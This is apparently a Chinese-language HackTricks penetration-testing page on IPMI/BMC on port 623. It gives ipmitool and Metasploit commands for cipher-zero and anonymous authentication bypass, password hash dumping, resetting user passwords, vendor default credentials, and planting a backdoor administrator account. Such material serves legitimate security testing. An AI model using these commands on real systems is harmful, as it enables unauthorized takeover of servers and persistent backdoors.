hacktricks/network-services-pentesting/623-udp-ipmi.md

147 lines
8.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 623/UDP/TCP - IPMI
## 623/UDP/TCP - IPMI
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}
## 基本信息
### **IPMI 概述**
**[智能平台管理接口 (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** 提供了一种标准化的方法,用于远程管理和监控计算机系统,独立于操作系统或电源状态。该技术允许系统管理员远程管理系统,即使在系统关闭或无响应时,特别适用于:
- 操作系统启动前的配置
- 关机管理
- 从系统故障中恢复
IPMI 能够监控温度、电压、风扇速度和电源,同时提供库存信息、查看硬件日志,并通过 SNMP 发送警报。其操作所需的基本条件是电源和局域网连接。
自 1998 年英特尔推出以来IPMI 得到了众多厂商的支持,增强了远程管理能力,特别是 2.0 版本对串行局域网的支持。关键组件包括:
- **主板管理控制器 (BMC)** IPMI 操作的主要微控制器。
- **通信总线和接口:** 用于内部和外部通信,包括 ICMB、IPMB 和各种本地及网络连接接口。
- **IPMI 内存:** 用于存储日志和数据。
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
**默认端口**623/UDP/TCP通常在 UDP 上,但也可能在 TCP 上运行)
## 枚举
### 发现
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
您可以**识别**版本使用:
```bash
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
### IPMI 漏洞
在 IPMI 2.0 的领域中Dan Farmer 发现了一个重大的安全缺陷,通过 **cipher type 0** 暴露了一个漏洞。这个漏洞在 [Dan Farmer 的研究](http://fish2.com/ipmi/cipherzero.html) 中有详细记录,允许在目标有效用户的情况下,使用任何密码进行未经授权的访问。这个弱点在 HP、Dell 和 Supermicro 等制造商的各种 BMC 中被发现,表明所有 IPMI 2.0 实现中存在广泛的问题。
### **通过 Cipher 0 绕过 IPMI 认证**
要检测这个缺陷,可以使用以下 Metasploit 辅助扫描器:
```bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
利用这个漏洞可以使用 `ipmitool` 来实现,如下所示,允许列出和修改用户密码:
```bash
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
```
### **IPMI 2.0 RAKP 认证远程密码哈希检索**
此漏洞允许检索任何现有用户名的加盐哈希密码MD5 和 SHA1。要测试此漏洞Metasploit 提供了一个模块:
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
### **IPMI 匿名认证**
许多 BMC 的默认配置允许“匿名”访问,其特征是空用户名和密码字符串。此配置可以被利用来重置使用 `ipmitool` 的命名用户帐户的密码:
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
### **Supermicro IPMI 明文密码**
IPMI 2.0 中的一个关键设计选择要求在 BMC 中存储明文密码以进行身份验证。Supermicro 将这些密码存储在 `/nv/PSBlock``/nv/PSStore` 等位置引发了重大安全隐患:
```bash
cat /nv/PSBlock
```
### **Supermicro IPMI UPnP 漏洞**
Supermicro 在其 IPMI 固件中包含的 UPnP SSDP 监听器,特别是在 UDP 端口 1900 上,引入了严重的安全风险。根据 [Rapid7 的披露](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) 的详细信息Intel SDK for UPnP Devices 版本 1.3.1 中的漏洞允许对 BMC 进行根访问:
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
### 暴力破解
**HP 在制造过程中随机生成其** **集成灯光控制 (iLO)** **产品的默认密码**。这一做法与其他制造商形成对比,后者往往使用**静态默认凭据**。以下是各种产品的默认用户名和密码的总结:
- **HP 集成灯光控制 (iLO)** 使用**工厂随机生成的 8 个字符字符串**作为其默认密码,展示了更高的安全级别。
- 像**戴尔的 iDRAC、IBM 的 IMM**和**富士通的集成远程管理控制器**等产品使用易于猜测的密码如“calvin”、“PASSW0RD”带零和“admin”。
- 同样,**Supermicro IPMI (2.0)、Oracle/Sun ILOM**和**华硕 iKVM BMC**也使用简单的默认凭据其中“ADMIN”、“changeme”和“admin”作为它们的密码。
## 通过 BMC 访问主机
对基板管理控制器 (BMC) 的管理访问打开了访问主机操作系统的各种途径。一种简单的方法是利用 BMC 的键盘、视频、鼠标 (KVM) 功能。这可以通过重启主机到根 shell使用 `init=/bin/sh`)或从设置为救援磁盘的虚拟 CD-ROM 启动来实现。这些方法允许直接操作主机的磁盘,包括插入后门、数据提取或进行安全评估所需的任何操作。然而,这需要重启主机,这是一个显著的缺点。在不重启的情况下,访问正在运行的主机更为复杂,并且因主机的配置而异。如果主机的物理或串行控制台保持登录状态,可以通过 BMC 的 KVM 或串行通过 LAN (sol) 功能轻松接管,使用 `ipmitool`。探索共享硬件资源的利用,如 i2c 总线和超级 I/O 芯片,是一个需要进一步研究的领域。
## 从主机向 BMC 引入后门
在攻陷一台配备 BMC 的主机后,**可以利用本地 BMC 接口插入后门用户账户**,在服务器上创建持久存在。这一攻击需要在被攻陷的主机上存在**`ipmitool`**并激活 BMC 驱动程序支持。以下命令说明了如何使用主机的本地接口将新用户账户注入 BMC从而绕过身份验证的需要。这一技术适用于包括 Linux、Windows、BSD 甚至 DOS 在内的广泛操作系统。
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
```
## Shodan
* `port:623`
## References
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
</details>
{% endhint %}